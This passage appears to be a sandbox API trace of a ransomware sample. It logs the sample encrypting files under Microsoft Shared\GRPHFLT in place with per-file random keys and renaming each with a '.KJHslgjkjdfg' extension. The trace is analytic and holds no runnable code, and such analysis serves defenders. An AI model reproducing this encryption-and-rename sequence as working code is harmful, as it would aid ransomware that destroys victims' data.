ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0142.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0142.154] GetProcessHeap () returned 0x2a0000 [0142.154] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.154] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.154] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0142.154] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0142.170] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.170] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.170] GetProcessHeap () returned 0x2a0000 [0142.170] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0142.170] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0142.170] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.171] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0142.171] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0142.171] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0142.171] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0142.171] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0142.171] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0142.171] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.171] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.171] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.171] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x566, lpOverlapped=0x0) returned 1 [0142.171] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x570, dwBufLen=0x570 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x570) returned 1 [0142.171] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.172] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x570, lpOverlapped=0x0) returned 1 [0142.172] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.172] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.172] SetEndOfFile (hFile=0x114) returned 1 [0142.174] GetProcessHeap () returned 0x2a0000 [0142.175] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0142.175] GetProcessHeap () returned 0x2a0000 [0142.175] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.kjhslgjkjdfg")) returned 1 [0142.184] CloseHandle (hObject=0x114) returned 1 [0142.185] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0142.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0142.186] GetProcessHeap () returned 0x2a0000 [0142.186] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.186] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.186] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0142.186] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0142.188] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.188] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.188] GetProcessHeap () returned 0x2a0000 [0142.188] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0142.188] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0142.188] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.188] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0142.189] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0142.189] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0142.189] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0142.189] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0142.189] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0142.189] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.189] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.189] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.189] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x11d78, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x11d78, lpOverlapped=0x0) returned 1 [0142.190] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11d80, dwBufLen=0x11d80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11d80) returned 1 [0142.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.191] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x11d80, lpOverlapped=0x0) returned 1 [0142.191] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x11e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.191] SetEndOfFile (hFile=0x114) returned 1 [0142.194] GetProcessHeap () returned 0x2a0000 [0142.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0142.194] GetProcessHeap () returned 0x2a0000 [0142.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.kjhslgjkjdfg")) returned 1 [0142.200] CloseHandle (hObject=0x114) returned 1 [0142.201] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0142.201] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0142.201] GetProcessHeap () returned 0x2a0000 [0142.201] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.201] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.201] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0142.201] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.201] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.201] GetProcessHeap () returned 0x2a0000 [0142.201] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0142.201] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f258*=0x30) returned 1 [0142.201] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.201] WriteFile (in: hFile=0x114, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f270*=0x30, lpOverlapped=0x0) returned 1 [0142.203] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0142.203] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0142.203] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0142.203] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0142.204] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0142.204] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.204] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.204] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.204] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x49f80, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x49f80, lpOverlapped=0x0) returned 1 [0142.208] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x49f80, dwBufLen=0x49f80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x49f80) returned 1 [0142.211] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.211] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x49f80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x49f80, lpOverlapped=0x0) returned 1 [0142.212] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.212] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4a044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.212] SetEndOfFile (hFile=0x114) returned 1 [0142.214] GetProcessHeap () returned 0x2a0000 [0142.215] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0142.215] GetProcessHeap () returned 0x2a0000 [0142.215] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.215] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PNG32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\png32.flt.kjhslgjkjdfg")) returned 1 [0142.215] CloseHandle (hObject=0x114) returned 1 [0142.215] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0142.215] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0142.217] GetProcessHeap () returned 0x2a0000 [0142.217] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0142.217] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0142.217] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0142.217] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.218] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.218] GetProcessHeap () returned 0x2a0000 [0142.218] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0142.218] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0142.218] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.218] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0142.219] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0142.220] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0142.220] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0142.220] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0142.220] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0142.220] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0142.220] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0142.220] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.220] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x44780, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x44780, lpOverlapped=0x0) returned 1 [0142.263] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x44780, dwBufLen=0x44780 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x44780) returned 1 [0142.266] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.266] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x44780, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x44780, lpOverlapped=0x0) returned 1 [0142.267] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.267] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x44854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.267] SetEndOfFile (hFile=0x114) returned 1 [0142.270] GetProcessHeap () returned 0x2a0000 [0142.270] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0142.270] GetProcessHeap () returned 0x2a0000 [0142.270] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0142.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.kjhslgjkjdfg")) returned 1 [0142.271] CloseHandle (hObject=0x114) returned 1 [0142.277] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0142.277] GetProcessHeap () returned 0x2a0000 [0142.277] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0142.277] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0142.277] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0142.277] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.277] GetProcessHeap () returned 0x2a0000 [0142.277] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0142.277] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0142.277] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0142.277] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0142.277] GetProcessHeap () returned 0x2a0000 [0142.277] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f32d0 [0142.277] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0142.278] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f32d0, pdwDataLen=0x290f0a8 | out: pbData=0x2f32d0, pdwDataLen=0x290f0a8) returned 1 [0142.278] CryptDestroyKey (hKey=0x2c63a0) returned 1 